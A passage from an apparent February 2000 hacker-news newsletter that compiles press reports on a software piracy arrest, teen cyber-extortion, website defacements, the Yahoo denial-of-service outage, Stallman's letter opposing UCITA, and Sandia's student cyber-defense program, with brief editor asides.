http://www.bostonherald.com/bostonherald/lonw/comp02042000.htm
FBI nabs Chelmsford man in software piracy ring
by Andrea Estes
Friday, February 4, 2000
Federal officials say they've captured a leader of a worldwide band of
e-pirates who surf the cyberseas in search of software plunder.
Robin Rothberg, 32, of Chelmsford, is a founding member of Pirates
with Attitudes, an international crew that steals popular titles from
powerful companies and gives them away to its members for free, the
FBI says.
The group, snared by FBI agents in Chicago, is sophisticated and
devious enough to have sought after software before it hits the
shelves, authorities said.
In December, FBI agents found Windows 2000 - which still hasn't
been released - and Office 2000 premium, a program given to select
customers for testing purposes.
In all, agents found enough software to fill the memory of 1,200
average-sized personal computer hard drives.
Rothberg, who until last week was a notebook software engineer for
NEC Computer Services in Acton, was arrested yesterday and
charged with conspiracy in U.S. District Court in Boston. Wearing a
long ponytail and black leather jacket, he pleaded not guilty and was
released without bail.
According to an FBI affidavit, Pirates with Attitudes is a highly
structured organization with different members assigned different
tasks.
``Suppliers'' steal the programs from major software companies.
``Couriers'' deliver the files to PWA and ``crackers'' strip away the
security codes that prevent piracy.
The group, overseen by a council, screens members to ``minimize the
risk of detection by authorities,'' according to an affidavit filed by FBI
Special Agent Michael Snyder of Chicago.
Rothberg, who is alleged to be a member of the council, was arrested
after an informant helped steer Snyder, an MBA and computer expert,
through its maze-like system.
Agents located PWA's internet site, ``Sentinel,'' which is accessible
only to authorized users.
``Members maintain access to PWA's site by providing files, including
copyrighted software files obtained from other sources, and in turn
are permitted to copy files provided by other users,'' wrote Snyder.
``Using the confidential informant's access codes, FBI agents logged
onto Sentinel and viewed a directory listing thousands of copyrighted
software titles available for downloading by PWA members,'' he wrote.
So far only Rothberg has been arrested. Chicago authorities
yesterday said the investigation is continuing.
``In the simplest terms, it's an organization that allowed its members
to upload software to a site configured so it could store a substantial
amount of software,'' said assistant United States Attorney Lisa
Griffin. ``They could then download it into their own computers.''
Members give and take what they wish, officials said.
``It's a two-way street,'' said Randy Sanborn, spokesman for the
United States Attorney's Office in the Northern District of Illinois.
Officials wouldn't say whether members have to pay anything - such
as a membership fee - for the service.
Rothberg was downsized out of his job last week when the division he
worked for ceased to exist, according to an NEC spokeswoman, who
said the company has no plans to investigate Rothberg's job
performance.
Rothberg asked Magistrate Judge Robert Collings for permission to
travel to California today for a job interview.
And Rothberg said he had several more planned, his attorney Joseph
Savage told Collings.
Collings ordered him to stay off his computer except to look for a job,
let the FBI spot check his e-mail, and get the court's permission if he
wants to travel outside the Bay State.
@HWA
105.0 HNN: Feb 7th; Teenager Busted for Attempted Cyber Extortion of $500
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by William Knowles
After attempting to extort a man for $500 a Toronto
teenager has been sentenced to 100 hours of
community service, and two years probation. He will
also have to tell police how he managed to break into
the mans computer to issue the extortion demand. The
teenager was caught after he went to pick up the
money left in a bag on a street corner near his home.
Police also found counterfeit five and twenty dollar bills
in the teenagers home. He has pleaded guilty to
extortion, mischief, unauthorized use of a computer,
fraudulent possession of a password, possession of
counterfeit money and possession of instruments for
counterfeiting.
The Toronto Star
http://www.thestar.com/back_issues/ED20000204/toronto/20000204NEW04b_CI-HACKER.html
(Poor sod thought small, a measly $500, and went and got busted,
makes ya sick dunnit? - Ed)
Hacker, 14 tried to extort $500, court told
Teen demanded payoff from businessman
By Nick Pron
Toronto Star Staff Reporter
A 14-year-old boy who tried to extort $500 from a businessman
after hacking into his computer will have to explain to police
how he did it as part of his punishment.
The teenager, who can't be identified under the Young
Offenders Act, demanded the payoff be put in a red bag and left
at the end of his street, just north of Toronto, a family court
sentencing hearing was told yesterday.
But the Toronto businessman, who also can't be identified
under a court order, went to the police, and undercover officers
secretly watched the teenager pick up the cash and take it
home, the hearing was told.
When officers searched his home, they found the teen had also
been making counterfeit $5 and $20 bills.
As well as explaining to police how he hacked into the
businessman's computer, the teen must do 100 hours of
community service, and serve two years probation.
Crown Attorney Calvin Barry said since the Grade 9 student
was so good with computers he would likely do his community
work teaching basic computer skills.
The teen pleaded guilty to extortion, mischief, unauthorized use
of a computer, fraudulent possession of a password,
possession of counterfeit money and possession of
instruments for counterfeiting.
Barry told the court the west-end businessman, who runs a
computer store, used an Internet chat line to communicate with
his customers.
Someone hacked into his chat line account and changed the
password, rendering his own secret code word useless.
The businessman was able to trace through the Internet the
person who hacked into his account. When he E-mailed the
teen, he was told he had to pay $500 for the new password, the
court heard.
@HWA
106.0 HNN:Feb 7th: Japanese Plan to Fight Cyber Crime
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by William Knowles
The National Police Agency of Japan has requested
$1.78 million from the country's fiscal 2000 budget to
study electronic break ins. The agencies records
indicate that there where 247 Internet crimes, including
distributing child pornography, in Japan in 1999. This
follows several high profile defacements of government
web sites in recent weeks.
Associated Press - via Tampa Bay Online
http://ap.tbo.com/ap/breaking/MGIGU35UA4C.html
Reports: Japanese Police Moving to Counter
Wave of Internet Crime
The Associated Press
TOKYO (AP) - With hackers barraging government Internet sites,
Japanese police announced plans to improve crime-fighting in
cyberspace, newspapers reported Saturday.
Beginning late last month, unidentified hackers began a
high-profile campaign to crack state sites. And despite its love for
just about everything high-tech, Japan is far behind other countries
when it comes to tackling online crime.
The Yomiuri Shimbun, Japan's largest paper, said the National
Police Agency has requested $1.78 million from the country's
fiscal 2000 budget to battle the problem. Police want to study how
hackers break into Web sites and ensure user names are not
being abused, the reports said.
Agency officials were unavailable for comment.
Agency figures showed that 247 Internet crimes, including
distributing child pornography, were reported in 1999, nearly
double the previous year, according to major Japanese
newspapers.
A bill aimed at improving user verification, a so-called digital
signature bill, is due to be submitted to parliament soon, the Asahi
Shimbun reported. Digital signatures allow people to use the
Internet to buy and sell goods and services, it said.
The police agency is urging that mandatory identity checks on
people who apply for such signatures be made part of the bill, the
paper said.
The proposed legislation comes on the heels of a new law
parliament passed last summer to make it illegal to access sites
without the proper clearance. It takes effect this month.
The Bank of Japan - the country's central bank - the Defense
Agency, the Science and Technology Agency and the Transport
Ministry have all reported being attacked by hackers, though they
reported no damage.
However, hackers into the Science and Technology Agency's
homepage left a message alleging that Tokyo denied the Rape of
Nanking, the Japanese army's massacre of as many as 300,000
civilians during the 1937-38 occupation of the Chinese city now
known as Nanjing.
@HWA
107.0 HNN: Feb 7th; Philippine President Web Site Defaced
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by William Knowles
The web site of Philippine President Joseph Estrada was
defaced last week. The site had one page altered with
comments containing sexual innuendoes. Officials said
that security practices for the site would be reviewed.
Business Today
http://www.BusinessToday.com/techpages/erap02042000.htm
Technology Today
Philippine president's Erap.com Web site vandalized
by hacker Bloomberg
Friday, February 4, 2000
A computer hacker broke into the Internet site of President Joseph
Estrada, inserting a sexual innuendo on an electronic document in the
first successful vandalism of the Philippine leader's Web presence.
The prankster placed the phrase, including a mention of
homosexuality, on a week-old briefing paper on oil prices that was
posted by the Office of the Press Secretary to the www.erap.com
site. The posting was on the web site for almost a day before being
removed.
``If I was older, I'd have a heart attack,'' said Ding Gagelonia,
director of the Bureau of Broadcast Services, which oversees the
site.
The intrusion comes a week after two Japanese ministries had their
Web sites defaced, and highlights the potential embarrassment
awaiting vulnerable computers of the government and private
companies as more firms in Asia conduct their businesses over the
Internet.
In the Japanese break-ins, the hackers erased data and placed links
to pornography sites.
Gagelonia said it was the first time the site, established in June 1998
to promote the policies of Estrada and obtain feedback from the
public, had its contents altered.
Previously, the site was the target of ``mail-bomb'' attacks where
pranksters tried to shut it down by overloading its e-mail system.
Those attacks were repulsed, he said.
The site, which has a computer server in the presidential palace and
another one in Europe, will review its security procedures, Gagelonia
said. DesignNet Philippines Inc., a unit of the Engstrom Group of
Sweden, developed the site.
@HWA
108.0 HNN: Feb 8th: Software Companies Seek to Alter Contract Law
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by evenprime
The Uniform Computer Information Transactions Act
(UCITA) is still be pushed by powerful software
companies through state legislatures across the nation.
UCITA legislation would give software companies the
ability to 'turn off' software remotely, it would provide
for license agreements that could be changed with only
an email notice, and it would ban critical software
reviews through stronger license agreements. The
software industry is aggressively lobbying for this
legislation, saying that it is an overdue modernization of
contract law to keep up with the pace of electronic
commerce. It is expected that several states will
actually pass this draconian law.
LA Times
http://www.latimes.com/news/front/20000204/t000011344.html
Richard Stallman has written some interesting comments
on UTICA, why it is bad, and why it should be defeated
in every state.
Open Letter From Richard Stallman
http://www.hackernews.com/special/2000/utica.html
For more information on UTICA see also:
4cite
http://www.4cite.org
Bad Software
http://www.badsoftware.com
LA Times;
<Sorry story unavailable or in pay per view archives - Ed)
Richard Stallman's letter
Date: Mon, 31 Jan 2000 13:34:25 -0700 (MST)
From: Richard Stallman gnu@gnu.org
To: info-gnu@gnu.org
Subject: Why We Must Fight UCITA
[Please redistribute this widely wherever it is appropriate.]
Why We Must Fight UCITA
by Richard Stallman
UCITA is a proposed law, designed by the proprietary software
developers, who are now asking all 50 states of the US to
adopt it. If UCITA is adopted, it will threaten the free software
community(1) with disaster. To understand why, please read
on.
We generally believe that big companies ought to be held to a
strict standard of liability to their customers, because they can
afford it and because it will keep them honest. On the other
hand, individuals, amateurs, and good samaritans should be
treated more favorably.
UCITA does exactly the opposite. It makes individuals,
amateurs, and good samaritans liable, but not big companies.
You see, UCITA says that by default a software developer or
distributor is completely liable for flaws in a program; but it also
allows a shrink-wrap license to override the default.
Sophisticated software companies that make proprietary
software will use shrink-wrap licenses to avoid liability entirely.
But amateurs, and self-employed contractors who develop
software for others, will be often be shafted because they
didn't know about this problem. And we free software
developers won't have any reliable way to avoid the problem.
What could we do about this? We could try to change our
licenses to avoid it. But since we don't use shrink-wrap
licenses, we cannot override the UCITA default. Perhaps we
can prohibit distribution in the states that adopt UCITA. That
might solve the problem--for the software we release in the
future. But we can't do this retroactively for software we have
already released. Those versions are already available, people
are already licensed to distribute them in these states--and
when they do so, under UCITA, they would make us liable. We
are powerless to change this situation by changing our licenses
now; we will have to make complex legal arguments that may
or may not work.
UCITA has another indirect consequence that would hamstring
free software development in the long term--it gives
proprietary software developers the power to prohibit reverse
engineering. This would make it easy for them to establish
secret file formats and protocols, which there would be no
lawful way for us to figure out.
That could be a disastrous obstacle for development of free
software that can serve users' practical needs, because
communicating with users of non-free software is one of those
needs. Many users today feel that they must run Windows,
simply so they can read and write files in Word format.
Microsoft's "Halloween documents" announced a plan to use
secret formats and protocols as a weapon to obstruct the
development of the GNU/Linux system(2).
Precisely this kind of restriction is now being used in Norway to
prosecute 16-year-old Jon Johansen, who figured out the
format of DVDs to make it possible to write free software to
play them on free operating systems. (The Electronic Frontier
Foundation is helping with his defense; see
http://www.eff.org/ for further information.)
Some friends of free software have argued that UCITA would
benefit our community, by making non-free software intolerably
restrictive, and thus driving users to us. Realistically speaking,,
this is unlikely, because it assumes that proprietary software
developers will act against their own interests. They may be
greedy and ruthless, but they are not stupid.
Proprietary software developers intend to use the additional
power UCITA would give them to increase their profits. Rather
than using this power at full throttle all the time, they will make
an effort to find the most profitable way to use it. Those
applications of UCITA power that make users stop buying will
be abandoned; those that most users tolerate will become the
norm. UCITA will not help us.
UCITA does not apply only to software. It applies to any sort
of computer-readable information. Even if you use only free
software, you are likely to read articles on your computer, and
access data bases. UCITA will allow the publishers to impose
the most outrageous restrictions on you. They could change
the license retroactively at any time, and force you to delete
the material if you don't accept the change. They could even
prohibit you from describing what you see as flaws in the
material.
This is too outrageous an injustice to wish on anyone, even if
it would indirectly benefit a good cause. As ethical beings, we
must not favor the infliction of hardship and injustice on others
on the grounds that it will drive them to join our cause. We
must not be Machiavellian. The point of free software is
concern for each other.
Our only smart plan, our only ethical plan, is...to defeat UCITA!
If you want to help the fight against UCITA, by meeting with
state legislators in your state, send mail to Skip Lockwood
dfc@dfc.org. He can tell you how to contribute effectively.
Volunteers are needed most urgently in Virginia and Maryland,
but California and Oklahoma are coming soon. There will
probably be a battle in every state sooner or later.
For more information about UCITA, see www.4cite.org and
www.badsoftware.com. InfoWorld magazine is also helping to
fight against UCITA; see
http://archive.infoworld.com/cgi-bin/displayStory.pl?/
features/990531ucita_home.htm
Copyright 2000 Richard Stallman Verbatim copying, distribution
and display of this entire article are permitted in any medium
provided this notice is preserved.
(1) Other people have been using the term "open source" to
describe a similar category of software. I use the term "free
software" to show that the Free Software Movement still
exists--that the Open Source Movement has not replaced or
absorbed us.
If you value your freedom as well as your convenience, I
suggest you use the term "free software", not "open source",
to describe your own work, so as to stand up clearly for your
values.
If you value accuracy, please use the term "free software", not
"open source", to describe the work of the Free Software
Movement. The GNU operating system, its GNU/Linux variant,
the many GNU software packages, and the GNU GPL, are all
primarily the work of the Free Software Movement. The
supporters of the Open Source Movement have the right to
promote their views, but they should not do so on the basis of
our achievements.
See
http://www.gnu.org/philosophy/free-software-for-freedom.html
for more explanation.
(2) The system is often called "Linux", but properly speaking
Linux is actually the kernel, one major component of the
system (see http://www.gnu.org/gnu/linux-and-gnu.html).
(3) Mozilla is free software; Netscape Navigator is not. The
source for Netscape Navigator 4.0 is not available.
(4) Sun's implementation of Java, and Blackdown which is a
port of that, are not free software. Source code is unavailable
for some parts; even where source has been released, the
licenses are far too restrictive.
@HWA
109.0 HNN: Feb 8th; Yahoo Taken Offline After Suspected DoS Attack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
First of several distrubuted mass DoS attacks on high profile
sites .... - Ed
From HNN http://www.hackernews.com/
contributed by Brian
All of Yahoo.com was unreachable for several hours
yesterday after what company officials claimed was a
massive denial of service attack. While officials stress
that there where no successful intrusions there still
seems to be some confusion over what exactly
happened. Some reports seem to indicate a bandwidth
consumption attack with either Trinoo or TNF while
other reports say that individual routers where pushed
over and Wired says that it may have been due to
'misconfigured equipment'. (I hope this is straightened
out soon so that the rest of us can protect ourselves.)
NY Times
http://www.nytimes.com/aponline/w/AP-Yahoo.html
Associated Press - via Nando Times
http://www.nandotimes.com/technology/story/body/0,1634,500164907-500208998-500963784-0,00.html
MSNBC
http://www.msnbc.com/news/367156.asp
Industry Standard - via Yahoo
http://dailynews.yahoo.com/h/is/20000207/bs/20000207130.html
Wired
http://www.wired.com/news/business/0,1367,34178,00.html
BBC
http://news.bbc.co.uk/hi/english/sci/tech/newsid_635000/635048.stm
AP/Nando;
Hackers attack, overwhelm Yahoo!
Copyright © 2000 Nando Media Copyright © 2000 Associated Press
By TED BRIDIS
WASHINGTON (February 7, 2000 8:36 p.m. EST http://www.nandotimes.com) -
Computer vandals using a common electronic attack overwhelmed Yahoo!, the
most popular site on the Internet, and rendered the flagship Web directory
inaccessible for much of Monday.
Yahoo! Inc. spokeswoman Diane Hunt said the company, worth roughly $93
billion, was the victim of hackers flooding its equipment with repeated
electronic requests. The vandals did not gain access inside its computers,
she said.
The technique, called a denial of service attack, is similar to pranksters
repeatedly dialing a company's telephone number to block all other
incoming calls.
Hunt said technicians determined that a flood of data requests coming from
different computers on the Internet had overwhelmed its routers, which
help direct traffic for the Web site.
Technicians ultimately were able to identify the type of data and filter
it out, which restored service.
She said she was unaware whether the company had contacted the FBI, which
coincidentally warned Web sites last month about a specific type of denial
of service attack.
"Our first priority has been identifying what was happening and then
installing the filters to enable our users to access our services," Hunt
said.
In its advisory, the FBI's National Infrastructure Protection Center said
it was "highly concerned about the scale and significance of these
reports" and said vulnerabilities were "widespread, well-known and readily
accessible on most networked systems."
-=-
Industry Standard;
Monday February 07 09:16 PM EST
Yahoo Unplugged by Hackers
Elinor Abreu, The Industry Standard
Yahoo did not have a good day. A hacker attack rendered the Web's No. 1
portal intermittently inaccessible Monday.
Starting at about 10:30 a.m. PST, a coordinated, multi-point attack on
Yahoo's California data center shut down the site sporadically, a Yahoo
representative said. The so-called "distributed denial of service attack"
works by bombarding servers with so much fake traffic that genuine
traffic cannot get through. Redundant servers allowed some visitors
access to the site.
The company installed filters on its routers around 1:30 p.m. to block
fake traffic and open up bandwidth to legitimate users, the
representative said. No user information was compromised and some Yahoo
services, like Web-based e-mail and its virtual shopping mall,
were believed to have been unaffected. The main site was inaccessible by
some as late as 4:45 p.m..
Yahoo has had small, short-term outages in the past, but nothing on this
scale, the representative said. In August 1999, a glitch kept some
customers out of their e-mail accounts for a few hours.
However, that's nothing compared to the problems eBay, E-Trade,
Amazon.com and Egghead have experienced. For instance, eBay outages last
year - including one that lasted 22 hours - prompted infrastructure
upgrades that reduced revenues by $5 million and resulted in a 26
percent drop in the company's stock price.
The attack corresponded with a so-called "birds of a feather" meeting to
discuss denial of service attacks at a conference in San Jose today
sponsored by the North American Network Operators group, said Russ
Cooper, editor of NTBugTraq. "I would assume that whoever did it
was doing it to impress those people who were getting together to talk
about them."
The attack is fairly easy to do because there are Perl scripts and other
executables that circulate that only require a server address to be
inserted, he said. However, the fact that it was distributed indicates
that "somebody was putting some thought behind it; coordinating
it," Cooper said.
Yahoo is ranked as the Internet's top Web site with 36.4 million unique
visitors in December, according to Media Metrix.
-=-
Wired;
Routers Blamed for Yahoo Outage
by Declan McCullagh and Joanna Glasner
5:00 p.m. 7.Feb.2000 PST
Most of the Yahoo network was unreachable for three hours on Monday as
the company weathered what it described as a widespread malicious attack
on its Web sites.
Attackers reportedly laid siege to the Internet's second most popular
destination at about 10:30 a.m. PST, snarling Yahoo's internal network
and denying millions of visitors access to mail, schedules, and the
directory service.
An engineer at another company that receives Internet access from the
same provider, Global Center, told Wired News the outage was due to
misconfigured equipment.
The person, who asked to remain anonymous, said that his firm also lost
connectivity through Global Center's Sunnyvale, California, facility
during the same time period due to apparent router problems, not hacker
attacks.
Details remained sketchy, with service provider Global Center blaming an
intentional surge in traffic and Yahoo claiming a cadre of as-yet-unknown
vandals fouled their system. No Web content appeared to have been altered
or deleted.
A Yahoo spokesperson called it a "coordinated distributed denial of
service attack" against the company's San Francisco Bay Area data centers
that originated from multiple places at the same time. The representative
said the outage caused an "intermittent ability to access some,
but not all, of our services."
But the offline sites rank among the most prominent. Yahoo's highly
visible yahoo.com, broadcast.com, and my.yahoo.com sites were
unreachable, although some other properties such as Geocities remained
unaffected.
A likely explanation: Geocities receives its connection from Exodus,
while the yahoo.com and other affected sites connect to the Internet
through Global Center.
"The Global Center network is not down. There've been no fiber cuts...
This is a specific attack on Yahoo by external forces," said Secret
Fenton, a spokeswoman for Global Center. "This affected accessibility to
Yahoo, [which] hosts servers for its site at Global Center."
Global Center -- formerly FrontierNet -- is owned by Global Crossing, a
Bermuda telecommuniations firm. Other Global Center customers, such as
Ziff Davis, MP3.com, and eToys.com, did not report any glitches.
Neither Yahoo nor Global Center representatives provided technical
details, but the snafu seemed to originate with a router, and experts
began speculating on what could have been the cause.
Jeff Schiller, MIT's network manager, said that a denial of service
attack could be mistaken for router failure at first.
"They might have thought they had a bad card in a router, and they shut
down the router and replaced the card, and the problem didn't go away,"
Schiller said. "They probably replaced equipment and then discovered that
it didn't solve the problem."
Schiller speculated that any assault might have been a "Tribal Flood
Network" attack. "If this is a denial of service attack, this is the one
of the first attacks against a public business."
The outage had the unusual effect of boosting the companies' shares.
Global Crossing closed Monday at 50 5/16, up 1 1/8. Yahoo ended at 354,
up half a point.
On the Motley Fool discussion groups, investors kvetched that they
couldn't access their mail, news, or movie info -- while scratching their
heads over the apparent non-effect of the snafu. "Usually, when a portal
has an outage the stock price goes down. Yahoo is holding up
surprisingly well," one person wrote.
Keynote Systems, an Internet monitoring firm, said the Yahoo outage began
between 10:15 and 10:30 a.m. (PST).
According to Media Metrix, only America Online reaches more people online
than Yahoo.
@HWA
110.0 HNN: Feb 8th; New Hack City Video
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Weld Pond
New Hack City, a secret hacker hangout in San Francisco, is the subject of
a new eleven minute documentary by Joshua Backer. The film has been
shown at the Rhode Island School of Design Senior Film Festival and the
Animation/Video Festival of 1999 It has also received the prestigious
RISD Murphy's Law Award. The film offers an interesting look into the
private lives and minds of some well known hackers.
Underground Films
http://www.undergroundfilm.com/films/detail.tcl?wid=1001601
Streaming video.
(Nice blank screen for an intro, since its only 11mins long... - Ed)
@HWA
111.0 HNN: Feb 8th; Thailand E-commerce Site Stored Credit Cards on Mail Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by raybanth
An individual using the name Curador posted credit
cards, claimed to be stolen from shoppingthailand.com,
to Yahoo and then Geocities, last week. he was barely
able to stay one step ahead of the sites taking the
pages down. Officials in Thailand are now trying to
determine if he did in fact break into the sites as he
claimed. A review of the sites in question found that
they stored the credit card numbers on the mail server.
Bangkokpost.net - Warning, it is slow
http://www.bangkokpost.net/today/080200_Business03.html
Not Found
The requested URL /today/080200_Business03.html was not found on this server.
Apache/1.3.11 Server at www.bangkokpost.net Port 80
(Sorry ........ - Ed)
@HWA
112.0 HNN: Feb 8th; Script Kiddie Training
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by turtlex
By downloading the latest scripts from the web students
at San Jose State University who are enrolled in the
Sandia National Laboratory College Cyber Defenders
Program are learning to become glorified script kiddies.
(Maybe they are learning other stuff but that isn't
mentioned in this article.)
Washington Post
http://washingtonpost.com/wp-srv/WPlate/2000-02/05/078l-020500-idx.html
Launching a Counteroffensive in
Cyberspace
Program Training Corp of Experts in Computer Security
By Vernon Loeb
Washington Post Staff Writer
Saturday, February 5, 2000; Page A03
LIVERMORE, Calif.—Eric Thomas hacks into Jason Arnold's computer
with a few simple keystrokes, sniffing Arnold's password, hijacking his
online session and stealing all the data on his screen.
It's easy enough. Thomas launches the attack, an ingeniously malicious
script of Czech origin that he's downloaded from the Internet, without
Arnold ever knowing what hit him.
"I'm watching everything he's doing right now," Thomas says, peering at his
computer screen. He types in another command and declares victory: "I've
taken over his connection!"
As it happens, Thomas and Arnold are seated 10 feet apart here at the
Northern California branch of Sandia National Laboratory, the nation's
best-equipped computer attack simulation center. This is a place where it
is quickly apparent that the thrust and parry between cyber-attackers and
cyber-defenders has evolved further than non-experts may realize--and
that the defenders are not as hapless as the American public may think.
Both Thomas, 20, and Arnold, 18, are students at San Jose State
University with a flair for computers. And both are just the type President
Clinton had in mind last month when he proposed a national scholarship
program to train cyber-security experts in return for four years of public
service once they graduate.
The two young men are part of the vanguard, already enrolled in Sandia's
College Cyber Defenders Program, an initiative of computer security guru
Fred Cohen. A principal member of Sandia's technical staff, Cohen, 43, is
credited with inventing the computer virus as a graduate student at the
University of Southern California in 1983. Like Clinton, he believes the
current security environment is more precarious than ever, having spent the
past 17 years pioneering defenses against all forms of cyber-attack.
The attackers are becoming bolder and more sophisticated, Cohen said,
while most people using computers know little--and seem to care even
less--about protecting their machines. "This disconnect between
technology and how people behave is getting broader, not narrower,"
Cohen said.
But within the federal government, the picture is more encouraging. The
Pentagon's computer defenses have improved by "an order of magnitude
over the past five years," according to Cohen. While the government still
makes its share of blunders in cyberspace, he said, its combined expertise
for defending computer systems and waging cyberwar "is probably the
best in the world--by a long ways."
Such prowess isn't always readily apparent, with hackers taking down
federal Web sites with regularity and Clinton sounding the alarm about
cyber-terrorism in his budget proposal for fiscal 2001, which contains $2
billion in computer defense initiatives.
But the Pentagon started funding the government's first computer
emergency response team, or CERT, at Carnegie Mellon University 12
years ago after the so-called Morris "worm" was unleashed on the Internet
and spread to 6,000 computers. Now most federal departments and
agencies staff their own CERTs, the infantry in a growing cyber-security
command structure.
At the FBI, the National Infrastructure Protection Center is responsible for
fighting cyber-crime, taking many of its leads from CERTs throughout the
executive branch. At the Pentagon, a newly created center in Arlington
called the Joint Task Force-Computer Network Defense is responsible for
coordinating all computer defenses throughout the military. And at the
General Services Administration, the Federal Computer Incident Response
Center plays the same role for all civilian computer defenses.
The price tag for these forces this fiscal year: $1.5 billion.
Cohen himself is a one-man computer defense conglomerate, beginning
with an 18-member research staff on cyber-security he directs here at the
California branch of Sandia, which has its headquarters in New Mexico.
Dressed in blue jeans and Birkenstocks, he explains that he developed the
Cyber College Defenders Program for much the same reason Clinton
proposed the $25 million scholarship program. "Ph.D. researchers are very
expensive, they're hard to find, and the [national] labs don't pay as much as
Silicon Valley," Cohen said. "It's build or buy these employees--and you
can't buy them. So you have to build them."
The son of two physics professors, Cohen is also an adjunct professor at
the University of New Haven in Connecticut and an expert in the nascent
field of computer forensics--tracking digital crimes. And he runs a private
consulting business, advising companies on how to protect their computer
systems. One of his tactics is to show clients that they are theoretically
vulnerable to attacks that could disable factories, cause chemical spills, or
steal millions of dollars.
With such experience, Cohen is deadly earnest about the threat of
cyber-war. He joined Sandia's technical staff, he said, because he saw "the
potential for attacks on the critical infrastructure that could cost millions of
lives and change the course of nations."
Lance J. Hoffman, director of the Cyberspace Policy Institute at George
Washington University, said most experts believe it is only a matter of time
before a disastrous computer assault takes place.
"The government does have resources in computer security and
information assurance," Hoffman said. "But there is no such thing as perfect
security. . . . I hope Congress does not wait until the aftermath of a
cyber-disaster to take action."
In Sandia's cyber-defenders program, Cohen downloads attack programs
posted on hacker Web sites and assigns his students to run them against a
variety of operating systems, figure out how they work and devise ways to
defeat them. The suggested defenses are then posted on the Internet.
"Attackers share, but defenders don't share as well," Cohen said.
With the program nearing its first anniversary, students working part-time
for $10 to $12 an hour have already modeled 400 attacks. Cohen has
1,800 more planned, and he figures his students will be caught up by the
end of this summer, when the number of participants in the training
program will double to 25.
One day last month, Corbin Stewart, 28, who has a degree in history and
is studying computer science at Las Positas Community College, launched
his 100th simulated attack, a script called seyon exploit.sh.
It comes with a disclaimer: "Please use in a responsible manner." But seyon
exploit.sh was written with unconcealed malice, designed to allow whoever
launches the code to gain root access to an improperly protected Unix
operating system.
"It's privilege expansion," Cohen said as Stewart fired away. "They
become the super-user on your computer--they can read, write, modify
anything. They can cause it to crash, they can use it to attack other
computers, they can install sniffers, Trojan horses to get back in--it's all
theirs."
The threat, of course, is relative--and often grossly exaggerated, Cohen
said.
Hackers launching seyon exploit.sh or other commonly available attack
scripts could damage somebody's home computer or business server,
Cohen said, but it is highly unlikely that they could bring down U.S. military
networks. Most hackers lack the expertise to penetrate sophisticated
defenses or sustain their attacks, Cohen said. Hacking into a federal
government Web site, he said, typically causes little more lasting damage
than spray-painting a sign outside a government office.
But when Clinton said last month that "hostile powers and terrorists can
now turn a laptop computer into a potent weapon capable of doing
enormous damage," he was not, in Cohen's opinion, exaggerating at all.
A hacker may not be able to disrupt the Northeast's power grid, Cohen
said, but the Russian government--with legions of computer scientists,
years of expertise and a sophisticated understanding of how power
systems work--probably could, if it wanted to.
© Copyright 2000 The Washington Post Company
@HWA
113.0 HNN: Feb 8th; Personal CyberWars
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
How long do grudges last in cyberspace? An interesting
story covering the activities of one NASA tech guy
trying to protect his network and a band of cyber
intruders trying to break in.
Forbes
http://www.forbes.com/forbes/00/0221/6504068a.htm
February 21, 2000
Don’t romanticize kids who hack their way into computers. They can go from
mischievous to malicious in a click.
A Private Little Cyberwar
By Adam L. Penenberg
JAY DYSON KNOWS THE EXACT moment his life began to unravel. It was 10 a.m.
on Mar. 5, 1997, when Dyson, a techie for the National Aeronautics & Space
Administration in Pasadena, Calif., discovered that NASA had been hacked.
A gang puckishly named Hagis--Hackers Against Geeks in Snowsuits--had
commandeered the "root" directory of some NASA computers, gaining partial
control of the network and lacing it with password "sniffers" and "back
doors" to let them return at will. They replaced NASA's home page
with their own, decrying commercialization of the Internet with an almost
comical ominousness.
"All who profit from the misuse of the Internet will fall victim to our
upcoming reign of digital terrorism," Hagis declared. "The
commercialization of the Internet stops here."
Dyson, part of a team charged with spotting intrusions and patching
security holes, took this all too personally. Then he made his first
mistake: He bashed Hagis online, posting the attack on his own Web site.
"You are just a bunch of lame kids," he wrote.
That seemingly meek counterpunch sparked a cyberwar over the next two
years, pitting Dyson, 37, against two Hagis members known as Euphoria and
Trout, or in hacker lingo, "u4ea" and "tr0ut." Hackers are often depicted
as mischievous antiheroes of the computer revolution: Sure, they
break in, but they don't really hurt anyone. Jay Dyson's tale points up a
meaner side.
His foes hacked two Internet service providers to get to him. They cracked
his home business, harassed his wife and, he says, cost him his marriage.
The digital intruders could do most anything they wanted to harass Dyson
online; no one was able to stop them. He fears his tormentors won't
cease--and now is plotting measures to stop them, himself.
"I look at the trail of destruction Euphoria and Trout have left, and I
still don't know anything about them," he says. "But I know my day will
come."
Iowa born and bred, Dyson discovered computers at age 6, when his father,
an IBMer, took him to work one night and showed him a mainframe sending
data to a teletype printer. "I was enthralled. Ihad to understand this
magic."At age 15 he vowed to work for NASA someday. He dropped out
of college in 1983, went into high tech and started doing work for NASA in
1995. At work his nickname is "the pit bull.""Once I sink my teeth into
something,I don't stop until it stops struggling."
Dyson calls himself a "white hat" hacker who blocks break-ins and alerts
softwaremakers to security lapses. Online, he hangs out at hacker haunts,
trading quips and tracking break-ins.
Government sites are big game for hackers, and NASA is a natural target.
At first, Hagis seemed harmless. It has breached Yahoo and propeller-head
sites Slashdot and Rootshell. Each time, it engaged in a little
nanny-nanny-boo-boo and made demands for the release of a jailed
hacker hero, Kevin Mitnick. When Hagis cracked the Greenpeace site last
year, it posted a warning: "Phree Kevin Mitnick or we will club 600 baby
